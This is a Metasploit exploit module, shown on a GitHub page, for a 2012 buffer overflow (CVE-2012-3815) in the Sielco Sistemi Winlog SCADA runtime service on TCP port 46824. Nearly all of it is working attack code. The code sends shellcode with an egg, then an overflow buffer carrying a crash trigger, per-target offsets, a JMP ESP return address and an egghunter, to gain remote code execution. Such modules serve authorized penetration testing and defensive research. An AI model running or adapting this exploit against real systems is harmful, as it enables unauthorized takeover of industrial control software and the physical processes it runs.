-
Notifications
You must be signed in to change notification settings - Fork 13.8k
/
winlog_runtime_2.rb
96 lines (83 loc) · 2.79 KB
/
winlog_runtime_2.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Sielco Sistemi Winlog Buffer Overflow 2.07.14 - 2.07.16',
'Description' => %q{
This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.16.
When sending a specially formatted packet to the Runtime.exe service on port 46824,
an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Michael Messner <devnull[at]s3cur1ty.de>'
],
'References' =>
[
[ 'BID', '53811'],
[ 'CVE', '2012-3815'],
[ 'OSVDB', '82654'],
[ 'EDB', '18986'],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2012-001' ],
[ 'URL', 'http://www.sielcosistemi.com/en/download/public/winlog_lite.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
'DisableNops' => true,
},
'Targets' =>
[
[ 'Sielco Sistemi Winlog 2.07.14/2.07.16 - Ceramics Kiln Project',
{
'Ret' => 0x405153df,
'Offset' => 167,
}
], # Jmp ESP - Vclx40.bpl - 0x405153df
[ 'Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project',
{
'Ret' => 0x405153df,
'Offset' => 151,
}
], # Jmp ESP - Vclx40.bpl - 0x405153df
#The reliability depends on the actual project. We need to generate some more
#targets. Two of them for the default project and one other project is now available.
],
'Privileged' => false,
'DisclosureDate' => '2012-06-04',
'DefaultTarget' => 0))
register_options([Opt::RPORT(46824)])
end
def exploit
connect
egghunter,egg = generate_egghunter(payload.encoded, payload_badchars)
print_status("Placing the shellcode")
shellcode = rand_text_alpha(2000)
shellcode << egg
sock.put(shellcode)
select(nil,nil,nil,1)
buffer = rand_text_alpha(20)
buffer << "\x14" * 10 #trigger the crash
buffer << rand_text_alpha(target['Offset'])
buffer << [target.ret].pack('V')
buffer << egghunter
buffer << rand_text_alpha(69 - egghunter.length)
print_status("Trying target #{target.name}...")
sock.put(buffer)
handler
disconnect
end
end